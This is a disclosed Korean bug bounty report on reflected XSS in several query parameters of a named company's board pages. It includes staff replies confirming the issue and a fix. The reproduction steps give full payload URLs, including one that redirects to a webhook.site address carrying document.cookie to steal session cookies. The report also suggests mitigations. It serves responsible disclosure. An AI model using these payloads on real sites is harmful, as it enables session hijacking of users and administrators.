Reflected XSS 발생

Writer PecentZero Program 수산아이앤티

WEB Resolved Medium No Reward Created: Dec 4, 2021 (2 years ago) Last Updated: Dec 30, 2021 (2 years ago)

Weakness

Reflected XSS => CRSF

Description

개요

[취약점 제보에 대한 개요를 작성해 주세요]
https://www.soosanint.com/board/board_list.php 의 파라미터 인자(page,cat_value,searcher)에서 reflected XSS => CSRF로 연계되는 취약점 발생
https://www.soosanint.com/board/board_list.php의 파라미터 인자(no) 에서 reflected XSS => CSRF로 연계되는 취약점 발생

재현 과정

[취약점 재현을 하기 위한 과정을 서술해 주세요]
재현은 링크를 통해 바로 가능하지만 발견한 과정에 맞춰서 설명드리고자 합니다!

  1. [step1]
    Description
    홍보센터의 보도 자료나 공지사항으로 들어간 후 검색창에 아무값이나 입력하게 되면
    Description
    searcher와 cate_value 인자
    Description
    page 인자를 발견할 수 있습니다.
    Description
    Description
    Description
    와 같이 searcher,cate_value,page에 넣었던 값이 페이지에 그대로 나타나는 부분이 있음을 확인 할 수 있습니다.
    reflected 된 내용이 존재하기 때문에 xss 가 가능할 것이라는 생각이 들었습니다.

  2. [step2]

https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=detectdetect&cate_value=testtest&page=-2
<input type="text" name="searcher" value="detectdetect"> 에서 search_type의 값인 detectdetect 가 value 값안에 들어가게 되는데
search_type의 값으로 “/><script></script> 를 넣어주게 되면
Description
Description
input 태그의 형태가 와 같은 형태로 깨지게 되면서 위의 2사진 모두에서 <script> </script> 코드가 삽입되게 됩니다. 이제 script 안에 원하는 javascript 코드를 넣으면 실행 가능하게 되고
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=”/><script>alert(document.cookie)</script>&cate_value=testtest&page=-2
cate_value , page 값에 상관없이 위의 링크에 들어가면
Description
document.cookie 가 실행되는 것을 확인할 수 가 있습니다.

비슷한 원리로 “/><script>alert(document.cookie)</script> 의 형태로 아래의 파라미터에 값을 넣어주게 되면
다음과 같은 https://www.soosanint.com/board/board_list.php로 전달되는 인자인, searcher , cate_value , page
https://www.soosanint.com/board/board_list.php 로 전달되는 인자인 no 에서 같은 이유로 reflected XSS 취약점이 발생하게 됩니다.
각각 다음의 링크에서 취약점이 발현됩니다.
1)searcher
https://www.soosanint.com/board/board_list.php?board_id=notice&search_type=title&searcher=”/><script>alert(document.cookie)</script>&cate_value=1&page=-1

  • searcher의 경우 sql injection " 에 대한 대비책으로 " 로 치환이 들어가서 " 들어가면 다른 파라미터와 달리 적용이 안되지만 “가 빠진형태인 <script>의 형태로 공격이 가능합니다.
    xss 의 취약점으로부터 막기 위해 sql injection을 막기 위한 방법인 " 치환은 안전하지 않습니다.
    2)cate_value
    https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=1&cate_value=”/><script>location.href=“http://www.naver.com”</script>&page=1
    위의 경우도 마찬가지로 https://www.soosanint.com/board/board_list.php?board_id=notice&search_type=title&searcher="/><script>alert(document.cookie)</script>&cate_value=1&page=-1 의경우에는 여전히 유효하며

3)page
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=1&cate_value=1&page="/><script>location.href=“http://www.naver.com”</script>
의 경우 "에 대한 필터링이 없어서 xss 가 실행됩니다.

  1. no
    https://www.soosanint.com/board/board_view.php?board_id=notice&no=-10"><script>alert(1)</script>&page=1
    와 같이 게시글에 들어간 후 생기는 no의 인자에섣 마찬가지로 "><script>alert(1)</script> 형태로 태그의 형태를 망가뜨려 script 코드 삽입이 가능하게 됩니다.
  1. [step3]
    이어서 악의적인 이용자가 사용자 쿠키 탈취 (상황에 따라 관리자도 가능) 에게 해당 악성 url을 접속하게 만들면
    https://www.soosanint.com/board/board_list.php?board_id=notice&page="/><script>location.href=“https://webhook.site/4dd7f5d5-e49c-413a-8623-092c369db660?”%2Bdocument.cookie;</script>
    위와 같은 코드로 쉽게 쿠키 탈취가 가능하게 됩니다.
    Description
    webhook으로 확인해본 결과 실제 탈취된 쿠키를 확인 할 수 있었습니다.

예상되는 취약점 발생 원인

[해당 취약점이 발생하는 예상 원인을 서술해 주세요]

패치 방법

[해당 취약점을 패치하기 위한 대응 방법을 서술해 주세요]

1.입력값에 대한 정밀한 검증이 필요합니다.
page 의 경우 숫자의 형태만 허용하고 이외의 문자열이 들어간 형태는 허용하지 않는 형태로
허용하는 형태의 타입만 검증 후 전달 , 필요없는 인자는 reflect 되지 않도록 하는 작업이 필요합니다.

  1. 또 , < > 가 들어가는 경우 &lt , &gt 로 변환 후에 전달을 해서 < > 코드로 변환을 통해 상당 수의 xss를 막을 수 있습니다.
    Description
    https://dev.w3.org/html5/html-author/charref
    처럼 " 도 ’ 도 출력 자체는 &quot &apos 로 변환해도 html 해석시 각각 " ’ 로 출력되면서 html 형태를 해치지 않습니다.
    character entity로 변환하는 것도 이런 취약점을 막기 위해 좋은 시도 인것 같습니다.

  2. 상황에 따라 , 응답 헤더에 document.cookie 탈취 방지를 위한 옵션인
    https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
    Secure과 HttpOnly 쿠키를 설정
    Description

https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options
x-frame-options 도 상황에 따라 고려해보는 것도 좋을 것 같습니다.

예상 결과 및 파급력

[해당 취약점으로 인해 예상되는 결과 및 파급력을 서술해 주세요. 시나리오가 포함되어도 좋습니다.]
사용자가 해당 링크를 클릭 시 페이지를 악성페이지로 이동 시킨다거나(location.href) , 쿠키 탈취 등 script 실행이 가능해서 다양한 연계 공격으로 이어 질 수 있습니다.

기타사항 및 레퍼런스

[그 외에 추가할 내용이 있다면 이곳에 작성해주세요.(스크린샷, 로그 등)]
감사합니다 : )

Timeline

PecentZero submitted ticket. December 4, 2021 (2 years ago)
Steve BUGCAMP STAFF changed the status from 'Submitted' to 'In Progress'. December 7, 2021 (2 years ago)

안녕하세요. 제보자님
수산아이앤티 버그바운티 프로그램에 제보해주셔서 감사합니다.

제출해주신 티켓은 유효한 티켓으로 Reflected XSS 취약점이 발현되는 것을 확인하였습니다.
보내주신 내용 중 일부는 이미 제보된 취약점이지만 새로 발견된 취약점의 경우 담당자에게 전달될 예정이며, 담당자 업무 일정으로 인해 패치가 지연될 수 있는점 참고부탁드립니다.

Steve BUGCAMP STAFF changed the status from 'In Progress' to 'Resolved'. December 30, 2021 (2 years ago)

안녕하세요 제보자님 제출해주신 취약점이 조치되어 티켓을 종료하도록 하겠습니다. 수산아이앤티 버그바운티 프로그램에 제보해주셔서 감사합니다.

Steve BUGCAMP STAFF changed the disclosure from 'Closed' to 'Disclosed (Full)'. December 30, 2021 (2 years ago)